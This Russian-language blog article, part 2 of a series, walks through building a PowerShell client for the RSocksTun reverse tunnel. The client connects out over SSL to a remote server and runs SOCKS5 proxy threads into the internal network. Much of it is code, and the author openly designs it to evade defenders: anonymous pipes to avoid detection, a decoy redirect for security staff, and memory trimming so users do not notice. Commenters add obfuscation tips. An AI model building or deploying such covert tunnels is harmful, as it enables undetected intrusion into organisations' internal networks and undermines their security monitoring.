История об исследовании и разработке в 3-х частях. Часть 2 — разработческая.
Буков много — пользы еще больше.

В первой части статьи мы познакомились с некоторым инструментарием по организации обратных туннелей, посмотрели на их преимущества и недостатки, изучили механизм работы Yamux мультиплексора и описали основные требования к вновь создаваемому powershell-модулю. Настало время заняться разработкой клиентского powershell модуля к уже готовой реализации обратного туннеля RSocksTun.

Прежде всего, нам необходимо понять, в каком режиме будет работать наш модуль. Очевидно, что для прима-передачи данных нам необходимо будет использовать механизм windows сокетов и предоставляемые .Net возможности по потоковому чтению-записи в сокеты. Но, с другой стороны, т.к. наш модуль должен обслуживать несколько yamux-стримов одновременно, то все операции ввода-вывода не должны полностью блокировать выполнение нашей программы. Отсюда напрашивается вывод о том, что наш модуль должен использовать программную многопоточность и выполнять операции чтения-записи с yamux-сервером, а так же операции чтения-записи к серверам назначения в разных программных потоках. Ну и само собой необходимо предусмотреть механизм взаимодействия между нашими параллельными потоками. Благо, powershell предоставляет широкие возможности по запуску и управлению программными потоками.

Общий алгоритм работы


Таким образом, общий алгоритм работы нашего клиента должен быть примерно таким:

  • установить SSL-соединение с сервером;
  • авторизоваться по паролю, чтобы сервер смог отличить нас от сотрудника службы безопасности;
  • ожидать yamux-пакета на установку нового стрима, периодически отвечая на keepalive-запросы сервера;
  • запустить новый программный поток socksScript (не путать со стримом), как только придет yamux пакет на установку нового стрима. Внутри socksScript реализовать работу socks5 сервера;
  • по приходу пакета с данными от yamux — понять из 12-байтового заголовка, какому из стримов предназначены данные, а также их размер, прочитать данные от yamux-сервера и передать полученные данные потоку с соответствующим номером стрима;
  • периодически контролировать наличие данных, предназначенных для yamux-сервера в каждом из запущенных socks-скриптах. При наличии таковых данных — добавить к ним соответствующий 12-байтовый заголовок и отправить на yamux-сервер;
  • по приходу yamux-пакета на закрытие стрима — передать сигнал соответствующему потоку на завершение стрима и разрыв соединения, а после — завершить и сам поток;

Итак, в нашем клиенте необходимо реализовать как минимум 3 программных потока:

  1. основной, который будет устанавливать соединение, авторизовываться на yamux-сервере, принимать от него данные, обрабатывать yamux-заголовки и отправлять уже сырые данные в другие программные потоки;
  2. потоки с сокс-серверами. Их может быть несколько — по одному на каждый стрим. В них реализована функциональность socks5. Эти потоки будут взаимодействовать с точками назначения во внутренней сети;
  3. обратный поток. Он принимает данные от socks-потоков, добавляет к ним yamux-заголовки и отправляет на yamux-сервер;

И, естественно, нам необходимо предусмотреть взаимодействие между всеми этими потоками.

Нам нужно не только обеспечить такое взаимодействие, но и получить удобство потокового ввода-вывода (аналогично как в сокетах). Наиболее подходящим механизмом будет использование программных пайпов. В ОС Windows пайпы бывают именные, когда у каждого пайпа есть свое имя, и анонимные — каждый пайп идентифицируется его хендлером. С целью скрытности, конечно же, мы будем использовать анонимные пайпы. (Ведь мы же не хотим, чтобы наш модуль вычислялся по использованию именных пайпов в системе — да?). Таким образом, между основным/обратным потоками и socks-потоками взаимодействие будет осуществляться через анонимные пайпы (anonymous pipes), поддерживающие асинхронные потоковые операции ввода-вывода. Между основным и обратными потоками общение будет происходить через механизм shared-object (общих синхронизируемых переменных) (подробнее про то, что такое эти переменные и как с ними жить можно прочесть здесь).

Информацию о запущенных socks-потоках мы должны хранить в соответствующей структуре данных. При создании socks-потока в эту структуру мы должны записать:

  • номер yamux сессии: $ymxstream;
  • 4 переменных для работы с пайпами (каналами): $cipipe, $copipe, $sipipe, $sopipe. Так как анонимные каналы работают либо в IN, либо в OUT, то для каждого socks-потока нам необходимо два анонимных канала, у каждого из которых должно быть по два конца (pipestream) (серверный и клиентский);
  • результат выполнения вызова потока — $AsyncJobResult;
  • хендлер потока — $Psobj. Через него мы будем закрывать поток и высвобождать ресурсы;
  • результат асинхронного чтения из анонимного канала обратным потоком ($readjob). Данная переменная используется в обратном yamuxScript потоке для асинхронного чтения из соответствующего пайпа;
  • буфер для чтения данных для каждого socks-потока;

Основной поток


Итак, с точки зрения обработки данных, работа нашей программы строится следующим образом:

  • серверная часть (rsockstun — реализована на Golang) поднимает ssl-сервер и ждет подключений от клиента;
  • при получении коннекта от клиента, сервер проверяет пароль, и если он верен устанавливает yamux-соединение, поднимает socks-порт и ждет подключения от socks-клиентов (нашего proxychains, браузера, и т.п.), периодически обмениваясь при этом keepalive-пакетами с нашим клиентом. Если пароль неверен — осуществляется редирект на страницу, которую мы указали при установке сервера (это «легальная» страница для бдительного администратора информационной безопасности);
  • при получении коннекта от socks-клиента сервер отправляет нашему клиенту yamux-пакет на установление нового стрима (YMX SYN);

Получение и анализ Yamux заголовка

Наш модуль сперва устанавливает SSL-соединение к серверу и авторизуется по паролю:

$tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port)
$tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$tcpStream.AuthenticateAsClient('127.0.0.1')

Затем, скрипт ждет 12-байтный yamux-заголовок и анализирует его.
Здесь есть небольшой нюанс… Как показывает практика, простого чтения 12 байт из сокета:

 $num = $tcpStream.Read($tmpbuffer,0,12)

недостаточно, так как операция чтения может завершиться после прихода лишь части необходимых байт. Следовательно, нам требуется ждать все 12-байт в цикле:

     do {
            try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {}
            $tnum += $num
            $ymxbuffer += $tmpbuffer[0..($num-1)]
        }while ($tnum -lt 12 -and $tcpConnection.Connected)

После завершения цикла мы должны проанализировать 12-байтовый заголовок, содержащийся в переменной $ymxbuffer на его тип и установленные флаги в соответствии со спецификацией Yamux'а.

Yamux-заголовок может быть нескольких типов:

  • ymx syn — установка нового стрима;
  • ymx fin — завершение стрима;
  • ymx data — представляет информацию о данных (какого они размера и какому стриму предназначены);
  • ymx ping — keepalive message;
  • ymx win update — подтверждение передачи порции данных;

Все что не подходит под перечисленные типы yamux заголовков мы считаем исключительной ситуацией. 10 таких исключений и мы считаем, что тут что-то не так и завершаем работу нашего модуля. (а так же стираем все наши файлы, вайпаем диск, меняем фамилию, делаем новый паспорт, уезжаем из страны и т.д. по списку...)

Создание нового socks-потока

Получив yamux-пакет на установление нового стрима, наш клиент создает два анонимных серверных пайпа ($sipipe, $sopipe), для in/out соответственно, на их основе создает клиентские пайпы ($cipipe, $copipe):

$sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1)
$sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1)
$sipipe_clHandle = $sipipe.GetClientHandleAsString()
$sopipe_clHandle = $sopipe.GetClientHandleAsString()
$cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle)
$copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle)

создает runspace для socks-потока, задает shared переменные для взаимодействия с этим потоком (StopFlag) и запускает scriptblock SocksScript, реализующий функционал socks-сервера в отдельном потоке:

$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()

$socksrunspace = [runspacefactory]::CreateRunspace()
$socksrunspace.Open()
$socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag)
$PS.Runspace = $socksrunspace
$PS.AddScript($socksScript).AddArgument($state) | Out-Null
[System.IAsyncResult]$AsyncJobResult = $null
$StopFlag[$ymxstream] = 0
$AsyncJobResult = $PS.BeginInvoke()

Созданные переменные записываются в специальную структуру ArrayList — аналог Dictionary в Python

[System.Collections.ArrayList]$streams = @{}

Добавление происходит через встроенный метод Add:

$streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null

Обработка Yamux Data

При поступлении от yamux-сервера данных, предназначенных какому-либо socks-потоку мы должны из 12-байтного yamux-заголовка определить номер yamux-стрима (номер socks-потока, для которого эти данные предназначены), а так же количество байт данных:

$ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)
$ymxcount = [bitconverter]::ToInt32($buffer[11..8],0)

Затем из ArrayList stream по полю ymxId получаем хендлеры серверного out-пайпа, соответствующего этому socks-потоку:

 if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
        else {$streamind = 0}
 $outStream = $streams[$streamind].soutputStream

После этого читаем данные из сокета, помня о том, что читать нужно через цикл определенное количество байт:

            $databuffer = $null
            $tnum = 0
            do {
                if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else
                { $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) }
                $tnum += $num
                $databuffer += $buffer[0..($num-1)]
            }while ($tnum -lt $ymxcount -and $tcpConnection.Connected)

и записываем полученные данные в соответствующий пайп:

$num = $tcpStream.Read($buffer,0,$ymxcount)
$outStream.Write($buffer,0,$ymxcount)


Обработка Yamux FIN — завершение стрима

При получении от yamix-сервера пакета, сигнализирующего о закрытии какого-либо стрима, мы также, сначала из 12-байтного заголовка получаем номер yamux стрима:

 $ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)

затем, через shared-переменную (вернее массив флагов, где индексом является номер yamux стрима) сигнализируем socks-потоку о необходимости завершения:

if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
        else {$streamind = 0}
 
if ($StopFlag[$ymxstream] -eq 0){
            write-host "stopflag is 0. Setting to 1"
            $StopFlag[$ymxstream] = 1
        }

после установки флага, перед тем как убивать socks-поток — необходимо выждать определенное количество времени для того, чтобы socks-поток успел данный флаг обработать. 200 мс вполне хватает для этого:

start-sleep -milliseconds 200 #wait for thread check flag

затем закрываем все пайпы, относящиеся к данному потоку, закрываем соответствующий Runspace и убиваем Powershell object для освобождения ресурсов:

$streams[$streamind].cinputStream.close()
$streams[$streamind].coutputStream.close()
$streams[$streamind].sinputStream.close()
$streams[$streamind].soutputStream.close()
    
$streams[$streamind].psobj.Runspace.close()
$streams[$streamind].psobj.Dispose()
$streams[$streamind].readbuffer.clear()

После закрытия socks-потока нам необходимо удалить соответствующий элемент из ArrayList streams:

$streams.RemoveAt($streamind)

И в конце нам необходимо принудительно запустить сборщик мусора .Net чтобы освободить используемые потоком ресурсы. В противном случае, наш скрипт будет потреблять порядка 100-200 Мб памяти, что может броситься в глаза опытному и въедливому пользователю, а нам этого не надо:

[System.GC]::Collect()#clear garbage to minimize memory usage

Yamux Script — обратный поток


Как уже было сказано выше, данные поступившие из socks-потоков, обрабатываются отдельным потоком yamuxScript, который стартует с самого начала (после успешного коннекта к серверу). Его задача состоит в том, чтобы периодически опрашивать выходные пайпы socks-потоков, находящиеся в ArrayList $streams:
foreach ($stream in $state.streams){ ... }

и при наличии в них данных отправлять их на yamux-сервер, предварительно снабдив соответствующим 12-байтовым yamux заголовком, содержащим в себе номер yamux-сессии и количество байт данных:

 if ($stream.readjob -eq $null){
   $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
 }elseif ( $stream.readjob.IsCompleted  ){
     #if read asyncjob completed  - generate yamux header

     $outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0]
     $state.tcpstream.Write($outbuf,0,12)
            
     #write raw data from socks thread to yamux
     $state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result)
     $state.tcpstream.flush()

     #create new readasync job
     $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
 }else{
         #write-host "Not readed"
      }

Также yamuxScript следит за установленным флагом в shared массиве $StopFlag, для каждого из выполняемых socksScript потоков. Этот флаг может быть установлен в значение равное 2, в случае если удаленный сервер, с которым работает socksScript, разрывает соединение. В такой ситуации информацию нужно сообщить socks-клиенту. Цепочка получается следующая: yamuxScript должен сообщить об этом yamux серверу о разрыве соединения, чтобы тот в свою очередь сигнализировал об этом socks-клиенту.

if ($StopFlag[$stream.ymxId] -eq 2){
     $stream.ymxId | out-file -Append c:\work\log.txt
     $outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00)
     $state.tcpstream.Write($outbuf,0,12)
     $state.tcpstream.flush()
 }

Yamux window update


Помимо этого, yamuxScript должен следить за количеством полученный от yamux-сервера байт и периодически отправлять YMX WinUpdate Message. Этот механизм в Yamux отвечает за контроль и изменение так называемого window size (по аналогии с протоколом TCP) — количества байт данных, которое может быть отправлено без подтверждения приема. По умолчанию window size равен 256 Kbytes. Это означает, что при отправке-получении файлов или данных больше этого размера нам необходимо отправить windpw update пакет yamux-серверу. Для контроля за количеством принятых данных от yamux-сервера введен специальный shared array $RcvBytes, в который основным потоком путем инкремента текущего значения записывается количество полученных от сервера байт для каждого стрима. При превышении установленного порога, yamuxScript должен отправить на сервер WinUpdate пакет и обнулить счетчик:

            if ($RcvBytes[$stream.ymxId] -ge 256144){
                #out win update ymx packet with 256K size
                $outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00)
                $state.tcpstream.Write($outbuf,0,12)
                $RcvBytes[$stream.ymxId] = 0
            }

Потоки socksScript


Теперь перейдем непосредственно к самому socksScript.
Напомним, что socksScript вызывается асинхронно:

$state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
$PS = [PowerShell]::Create()
....
$AsyncJobResult = $PS.BeginInvoke()

и на момент вызова в составе передаваемой потоку переменной $state присутствуют следующие данные:

  • $state.streamId — номер yamux сессии;
  • $state.inputStream — read pipe;
  • $state.oututStream — write pipe;

Данные в пайпы поступают уже в сыром виде без yamux-заголовков, т.е. в том виде, в котором они пришли от socks-клиента.

Внутри socksScript прежде всего мы должны определить версию сокса и убедиться что она равна 5:

$state.inputStream.Read($buffer,0,2) | Out-Null
        $socksVer=$buffer[0]
        if ($socksVer -eq 5){ ... }

Ну а далее делаем ровно так, как реализовано в скрипте Invoke-SocksProxy. Единственным отличием будет то, что нам вместо вызовов

$AsyncJobResult.AsyncWaitHandle.WaitOne();
$AsyncJobResult2.AsyncWaitHandle.WaitOne();

Необходимо в цикличном режиме мониторить tcp соединение и соответствующий флаг завершения в массиве $StopFlag, иначе мы не сможем распознать ситуацию окончания соединения со стороны socks-клиента и ymux-сервера:

while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){
      start-sleep -Milliseconds 50
 }

В случае, если соединение завершается со стороны tcp сервера, к которому мы подключаемся, мы устанавливаем данный флаг в значение равное 2, что заставит yamuxscript распознать это и передать на yamux сервер соответствующий ymx FIN пакет:

if ($tmpServ.Connected){
       $tmpServ.close()
 }else{
       $StopFlag[$state.StreamID] = 2
 }

Так же мы должны установить данный флаг в случае, если socksScript не сможет подключиться к серверу назначения:

if($tmpServ.Connected){ ... }
 else{
     $buffer[1]=4
     $state.outputStream.Write($buffer,0,2)
     $StopFlag[$state.StreamID] = 2
 }

Заключение ко второй части


В ходе наших кодерских изысканий нам удалось создать powershell-клиент к нашему RsocksTun серверу с возможностью:

  • подключения по SSL;
  • авторизации на сервере;
  • работе с yamux-сервером с поддержкой keepalive пингов;
  • мультипоточного режима работы;
  • поддержки передачи больших файлов;

За пределами статьи осталась реализация функционала по соединению через прокси-сервер и авторизацию на нем, а так же превращению нашего скрипта в inline-версию, которую можно запустить из командной строки. Это будет в третьей части.

На сегодня все. Как говорится — подписывайтесь, ставьте лайки, оставляйте комментарии (особенно касаемые ваших мыслей по улучшению кода и добавлению функционала).

Комментарии (2)


  1. qw1
    31.05.2019 10:13

    Ещё бы весь этот код обфусцировать. Интересно, есть ли готовые решения для PowerShell.


    1. VirusVFV
      31.05.2019 13:43

      Invoke-obfuscation к вашим услугам.